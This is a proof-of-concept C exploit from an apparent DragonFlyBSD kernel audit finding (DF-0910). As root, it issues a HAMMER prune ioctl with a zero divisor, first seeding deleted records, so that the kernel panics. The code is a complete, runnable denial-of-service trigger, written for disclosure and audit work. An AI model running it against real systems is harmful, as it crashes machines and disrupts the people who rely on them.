DragonFlyBSD Kernel Audit
DF-0910 / prune_div0.c
← back to finding ↓ download raw
/*
 * DF-0910 — Divide-by-zero kernel panic via HAMMER_IOC_PRUNE with mod_tid=0
 *
 * Trigger: issue HAMMERIOC_PRUNE on a HAMMER v1 mount with an element whose
 * mod_tid == 0. The kernel reaches the (unchecked) division at
 * sys/vfs/hammer/hammer_prune.c:305-306:
 *
 *   (elm->base.create_tid - scan->beg_tid) / scan->mod_tid
 *
 * With mod_tid==0 this is a CPU #DE (divide error) from kernel mode -> non-
 * resumable trap -> kernel panic. The divide is only reached when the B-tree
 * scan encounters a record with delete_tid != 0 (a logically-deleted record
 * still present in the tree), so the PoC first creates and deletes a file on
 * the mount to seed such a record.
 *
 * Reachability: the HAMMERIOC_PRUNE ioctl is gated by
 * caps_priv_check(SYSCAP_NOVFS_IOCTL) (hammer_ioctl.c:72) — root-only.
 * The bug is a privileged-user -> kernel DoS (Medium severity).
 *
 * Build:  cc -o prune_div0 prune_div0.c
 * Run:    ./prune_div0 /mnt/hammer   (as root, on a HAMMER v1 mount)
 */

#include <sys/ioccom.h>
#include <sys/types.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

/* ---- Exact mirror of sys/vfs/hammer headers (do not include kernel U-ABI) */

typedef uint64_t hammer_tid_t;

typedef struct hammer_base_elm {
	int64_t		obj_id;		/* 00 */
	int64_t		key;		/* 08 */
	hammer_tid_t	create_tid;	/* 10 */
	hammer_tid_t	delete_tid;	/* 18 */
	uint16_t	rec_type;	/* 20 */
	uint8_t		obj_type;	/* 22 */
	uint8_t		btype;		/* 23 */
	uint32_t	localization;	/* 24 */
} hammer_base_elm_t;

struct hammer_ioc_head {
	int32_t		flags;
	int32_t		error;
	int32_t		reserved01[4];
};

struct hammer_ioc_prune_elm {
	hammer_tid_t	beg_tid;
	hammer_tid_t	end_tid;
	hammer_tid_t	mod_tid;	/* THE BUG: no zero-check in kernel */
};

struct hammer_ioc_prune {
	struct hammer_ioc_head head;
	int		nelms;
	int		reserved01;
	struct hammer_base_elm key_beg;
	struct hammer_base_elm key_end;
	struct hammer_base_elm key_cur;
	int64_t		stat_scanrecords;
	int64_t		stat_rawrecords;
	int64_t		stat_dirrecords;
	int64_t		stat_bytes;
	int64_t		stat_realignments;
	hammer_tid_t	stat_oldest_tid;
	int64_t		reserved02[6];
	struct hammer_ioc_prune_elm *elms;
};

#define HAMMER_IOC_PRUNE_ALL	0x0001

#define HAMMERIOC_PRUNE		_IOWR('h', 1, struct hammer_ioc_prune)

#define MOUNT_FILE	"/df910_trigger_file"
#define NFILES		8

static void
seed_deleted_records(const char *mp)
{
	char path[512];
	int i, fd;

	for (i = 0; i < NFILES; i++) {
		snprintf(path, sizeof(path), "%s" MOUNT_FILE ".%d", mp, i);
		fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644);
		if (fd < 0) {
			fprintf(stderr, "creat %s: %s\n", path, strerror(errno));
			continue;
		}
		/* write some data so a data record is created */
		if (write(fd, path, strlen(path)) < 0)
			perror("write");
		close(fd);
		/* logically delete the record (delete_tid set on next sync) */
		if (unlink(path) < 0)
			perror("unlink");
	}
	/* force HAMMER to flush the create+delete into the B-tree */
	sync();
	sync();
	sync();
}

int
main(int argc, char **argv)
{
	const char *mp;
	char dirpath[512];
	int dfd, rc;
	struct hammer_ioc_prune pr;
	struct hammer_ioc_prune_elm elm;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <hammer-mount-point>\n", argv[0]);
		return 2;
	}
	mp = argv[1];

	fprintf(stderr, "[*] seeding deleted records on %s ...\n", mp);
	seed_deleted_records(mp);

	snprintf(dirpath, sizeof(dirpath), "%s", mp);
	dfd = open(dirpath, O_RDONLY | O_DIRECTORY);
	if (dfd < 0) {
		/* O_DIRECTORY may not be defined everywhere; retry plain */
		dfd = open(dirpath, O_RDONLY);
	}
	if (dfd < 0) {
		perror("open mount point");
		return 2;
	}

	/*
	 * Build the prune request. One element with mod_tid == 0.
	 * beg_tid=0, end_tid=UINT64_MAX so every deleted record in the scan
	 * range satisfies the preconditions at hammer_prune.c:302-304 and
	 * reaches the divide at :305-306.
	 *
	 * key range covers the entire B-tree (all localizations, all obj_ids).
	 * HAMMER_IOC_PRUNE_ALL is NOT set (it short-circuits before the divide).
	 */
	memset(&pr, 0, sizeof(pr));
	pr.nelms = 1;
	pr.head.flags = 0;			/* NOT PRUNE_ALL */
	pr.key_beg.obj_id	= (int64_t)0x8000000000000000ULL; /* HAMMER_MIN_KEY */
	pr.key_beg.localization	= 0;
	pr.key_end.obj_id	= (int64_t)0x7FFFFFFFFFFFFFFFLL;  /* HAMMER_MAX_KEY */
	pr.key_end.localization	= 0x0000FFFF; /* HAMMER_LOCALIZE_MASK */

	elm.beg_tid = 0;
	elm.end_tid = 0xFFFFFFFFFFFFFFFFULL;	/* UINT64_MAX */
	elm.mod_tid = 0;			/* <<< DIVIDE BY ZERO */
	pr.elms = &elm;

	fprintf(stderr,
	    "[*] issuing HAMMERIOC_PRUNE nelms=1 mod_tid=0 on fd %d ...\n"
	    "[*] if the bug is present, the kernel will now #DE (panic).\n",
	    dfd);
	fflush(stderr);

	rc = ioctl(dfd, HAMMERIOC_PRUNE, &pr);
	/* NOT REACHED on a vulnerable kernel */
	fprintf(stderr,
	    "[!] ioctl returned rc=%d errno=%d (%s) -- kernel NOT vulnerable\n"
	    "    stat_scanrecords=%lld stat_rawrecords=%lld\n",
	    rc, errno, strerror(errno),
	    (long long)pr.stat_scanrecords,
	    (long long)pr.stat_rawrecords);
	if (rc == 0)
		return 0;
	return 1;
}